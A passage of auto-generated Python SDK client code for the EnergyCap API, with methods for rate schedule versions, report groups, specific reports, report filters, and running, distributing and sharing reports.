path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[RateVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_rate_versions.metadata = {'url': '/api/v3/rate/{rateId}/version'}
def create_rate_version(
self, rate_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a rate schedule version.
Allows the user to create a new version for a rate schedule for use in
chargeback scenarios where use or demand cost for calculated bills must
be created from a predefined unit cost.
### Validation
* Account and meter line items
* Subtotal calculation type is not supported
### Other Remarks
* Inserting a rate version before an existing version will set the new
version's end date to the effective date of the subsequent version.
* Null values are acceptable for use and demand unit costs. However,
for chargeback bills to calculate correctly, these values must be
provided.
:param rate_id: Unique identifier of the rate schedule to receive the
new version
:type rate_id: int
:param body: The properties of the rate schedule version to be created
:type body: ~energycap.sdk.models.RateVersionRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RateVersionResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RateVersionResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_rate_version.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'RateVersionRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RateVersionResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_rate_version.metadata = {'url': '/api/v3/rate/{rateId}/version'}
def get_rate_unit(
self, rate_id, custom_headers=None, raw=False, **operation_config):
"""Get the unit used by a rate. The unit is determined by the usage unit
on the most recent template assigned to a meter with the given rate.
:param rate_id: Unique identifier of the rate schedule for which the
unit will be retrieved
:type rate_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UnitResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UnitResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_rate_unit.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UnitResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_rate_unit.metadata = {'url': '/api/v3/rate/{rateId}/unit'}
def download_rate_custom_field_file(
self, rate_id, version_id, udf_id, custom_headers=None, raw=False, **operation_config):
"""Download file for a rate custom field.
:param rate_id:
:type rate_id: int
:param version_id:
:type version_id: int
:param udf_id:
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.download_rate_custom_field_file.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int'),
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
download_rate_custom_field_file.metadata = {'url': '/api/v202105/rate/{rateId}/version/{versionId}/udf/{udfId}/download'}
def get_rate_actual_yearly(
self, rate_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by rate for a given number of
years- Result includes cost, use, unit cost on an yearly basis.
:param rate_id: The rate to retrieve data for
:type rate_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RateDigestActualYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.RateDigestActualYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_rate_actual_yearly.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RateDigestActualYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_rate_actual_yearly.metadata = {'url': '/api/v3/rate/{rateId}/digest/actual/yearly'}
def create_report_group(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param body:
:type body: ~energycap.sdk.models.ReportGroupRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReportGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ReportGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_report_group.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReportGroupRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReportGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_report_group.metadata = {'url': '/api/v3/report/reportgroup'}
def get_report_groups(
self, custom_headers=None, raw=False, **operation_config):
"""
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ReportGroupResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_groups.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ReportGroupResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_groups.metadata = {'url': '/api/v3/report/reportgroup'}
def delete_report_group(
self, report_group_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a Report Group.
:param report_group_id:
:type report_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_report_group.metadata['url']
path_format_arguments = {
'reportGroupId': self._serialize.url("report_group_id", report_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_report_group.metadata = {'url': '/api/v3/report/reportgroup/{reportGroupId}'}
def edit_report_group(
self, report_group_id, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param report_group_id:
:type report_group_id: int
:param body:
:type body: ~energycap.sdk.models.ReportGroupRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReportGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ReportGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_report_group.metadata['url']
path_format_arguments = {
'reportGroupId': self._serialize.url("report_group_id", report_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReportGroupRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReportGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_report_group.metadata = {'url': '/api/v3/report/reportgroup/{reportGroupId}'}
def get_report_group(
self, report_group_id, custom_headers=None, raw=False, **operation_config):
"""
:param report_group_id:
:type report_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReportGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ReportGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_group.metadata['url']
path_format_arguments = {
'reportGroupId': self._serialize.url("report_group_id", report_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReportGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_group.metadata = {'url': '/api/v3/report/reportgroup/{reportGroupId}'}
def get_specific_reports(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get a filterable list of installed, saved, and shared reports available
to the current user.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SpecificReportResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_specific_reports.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SpecificReportResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_specific_reports.metadata = {'url': '/api/v3/report'}
def get_specific_report(
self, specific_report_id, custom_headers=None, raw=False, **operation_config):
"""Get a report by its specificReportID.
:param specific_report_id:
:type specific_report_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecificReportResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecificReportResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_specific_report.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecificReportResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_specific_report.metadata = {'url': '/api/v3/report/{specificReportId}'}
def edit_specific_report(
self, specific_report_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a specific report.
:param specific_report_id: The specific report to edit
:type specific_report_id: int
:param body: The specific report edit properties
:type body: ~energycap.sdk.models.ReportEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecificReportResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecificReportResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_specific_report.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReportEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecificReportResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_specific_report.metadata = {'url': '/api/v3/report/{specificReportId}'}
def delete_specific_report(
self, specific_report_id, custom_headers=None, raw=False, **operation_config):
"""
:param specific_report_id:
:type specific_report_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_specific_report.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_specific_report.metadata = {'url': '/api/v3/report/{specificReportId}'}
def install_reports(
self, custom_headers=None, raw=False, **operation_config):
"""
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: object or ClientRawResponse if raw=true
:rtype: object or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.install_reports.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 400]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('OkResult', response)
if response.status_code == 400:
deserialized = self._deserialize('object', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
install_reports.metadata = {'url': '/api/v3/report/install/latest'}
def get_report_filters(
self, specific_report_id, custom_headers=None, raw=False, **operation_config):
"""Get the filters for a specific report.
:param specific_report_id: The specific report for which the filters
are to be retrieved
:type specific_report_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_filters.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_filters.metadata = {'url': '/api/v3/report/{specificReportId}/filter'}
def edit_report_filters(
self, specific_report_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the filters for a specific report.
:param specific_report_id: The specific report for which the filters
are to be edited
:type specific_report_id: int
:param body: The list of filters to apply
:type body: list[~energycap.sdk.models.FilterEdit]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_report_filters.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[FilterEdit]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_report_filters.metadata = {'url': '/api/v3/report/{specificReportId}/filter'}
def run_report(
self, specific_report_id, format=None, custom_headers=None, raw=False, **operation_config):
"""Run a report and download in the provided format.
:param specific_report_id: The ID of the specific report to run
:type specific_report_id: int
:param format: The format in which the generated report should be
downloaded. Supported options are ["excel", "csv", "pdf", "word"]
:type format: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.run_report.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if format is not None:
query_parameters['format'] = self._serialize.query("format", format, 'str')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
run_report.metadata = {'url': '/api/v3/report/exec/{specificReportId}'}
def distribute_report(
self, specific_report_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Execute a report, save it in a given format, and email it to a list of
recipients.
If distributing reports, returns a 204 No Content if onlySendIfData is
set to True and the report generated no data;
returns a 200 and the generated report for download or an empty body if
onlySendIfData is set to True.
:param specific_report_id: The ID of the specific report to run
:type specific_report_id: int
:param body: Allows the user to run one report and optionally email it
to one or more recipients. They can optionally specify whether or not
the report(s) should be sent if they contain no data.
:type body: ~energycap.sdk.models.DistributedReportsConfiguration
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.distribute_report.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DistributedReportsConfiguration')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
distribute_report.metadata = {'url': '/api/v3/report/exec/{specificReportId}'}
def process_report_subscriptions(
self, custom_headers=None, raw=False, **operation_config):
"""Execute and email report subscriptions that are ready to be run.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.process_report_subscriptions.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
process_report_subscriptions.metadata = {'url': '/api/v3/report/exec/subscription'}
def create_specific_report(
self, specific_report_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Save a specific report to Saved Reports.
:param specific_report_id: The specific report to save
:type specific_report_id: int
:param body: The specific report create properties
:type body: ~energycap.sdk.models.ReportCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecificReportResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecificReportResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_specific_report.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReportCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecificReportResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_specific_report.metadata = {'url': '/api/v3/report/{specificReportId}/copy'}
def run_quick_report(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Generates a "quick report" in the specified export format (or in its
preferred export format if not specified) as identified by the provided
report code and applying ONLY the filters supplied.
:param body:
:type body: ~energycap.sdk.models.QuickReport
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.run_quick_report.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'QuickReport')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
run_quick_report.metadata = {'url': '/api/v3/report/quick'}
def get_report_sharing_details(
self, specific_report_id, custom_headers=None, raw=False, **operation_config):
"""Get sharing information for a report.
Only the user who created the report or a report administrator is
permitted to get sharing details for a report.
:param specific_report_id: The specific report for which to retrieve
sharing information
:type specific_report_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ShareResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ShareResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_sharing_details.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ShareResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
